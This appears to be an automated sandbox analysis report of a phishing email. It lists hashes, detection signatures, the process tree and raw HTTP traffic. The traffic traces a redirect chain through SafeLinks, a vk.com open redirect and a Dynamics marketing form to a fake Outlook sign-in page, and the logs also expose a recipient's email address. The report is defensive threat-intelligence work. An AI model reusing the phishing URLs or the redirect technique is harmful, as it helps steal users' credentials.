Edit tour

Windows Analysis Report
FW_ FHAS Inc_ - Private and Confidential.msg

Overview

General Information

Sample name:	FW_ FHAS Inc_ - Private and Confidential.msg
Analysis ID:	1431111
MD5:	9df7a23ef75002280cab36951693ad81
SHA1:	7933a22276c49b35fef76fc729addbdefb258ce4
SHA256:	137454d482c2b32419da6525c85b121cd68dfe6ada35e8515c773ae3f8992e19
Infos:

Detection

HtmlDropper, HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Html Dropper

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Invalid 'sign-in options' or 'sign-up' link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 3932 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ FHAS Inc_ - Private and Confidential.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 5920 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "AB733506-5643-415B-A822-6CA743C451B8" "60335182-0ED6-44FC-AF34-5EA391EA0DB6" "3932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2032,i,8312414958916213357,7330150477542557016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
4.12.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
4.12.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.9.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
4.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.10.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
4.10.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 3932, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 4.12.pages.csv, type: HTML
Source: Yara match	File source: 4.9.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	Matcher: Template: microsoft matched
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	Matcher: Template: microsoft matched
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	Matcher: Template: microsoft matched

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8

HTTP Parser: Number of links: 0

Source: https://mailvlk.com/

HTTP Parser: Base64 decoded: https://mailvlk.com/

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8

HTTP Parser: Title: Sign in to Outlook does not match URL

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8

HTTP Parser: Invalid link: get a new Microsoft account

Source: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636	HTTP Parser: No favicon
Source: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636	HTTP Parser: No favicon
Source: https://mailvlk.com/	HTTP Parser: No favicon
Source: https://mailvlk.com/	HTTP Parser: No favicon
Source: https://mailvlk.com/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557	HTTP Parser: No favicon
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No favicon
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No favicon
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No favicon

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="author".. found
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="author".. found
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="author".. found

Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="copyright".. found
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="copyright".. found
Source: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.190.190.195:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.17:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.190.195:443 -> 192.168.2.17:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.21.200:443 -> 192.168.2.17:49793 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 26MB later: 34MB

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: Joe Sandbox View	IP Address: 104.47.70.28 104.47.70.28
Source: Joe Sandbox View	IP Address: 13.107.246.69 13.107.246.69
Source: Joe Sandbox View	IP Address: 52.146.76.30 52.146.76.30
Source: Joe Sandbox View	IP Address: 87.240.137.164 87.240.137.164
Source: Joe Sandbox View	IP Address: 87.240.137.164 87.240.137.164

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9+ronNE95pkpmyw&MD=sRmD9cLz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0 HTTP/1.1Host: nam10.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: vk.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /away.php?rh=8f363019-e908-47e4-a972-890e8e356326 HTTP/1.1Host: away.vk.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9093501850070699750_Lnd7fMoCdytxw6KavtEkNYHGJAI8e0XO7DRYGMct8HD; remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636; remixua=-1%7C-1%7C202%7C3664747857
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: vk.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9093501850070699750_Lnd7fMoCdytxw6KavtEkNYHGJAI8e0XO7DRYGMct8HD; remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636; remixua=-1%7C-1%7C202%7C3664747857
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/plainsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
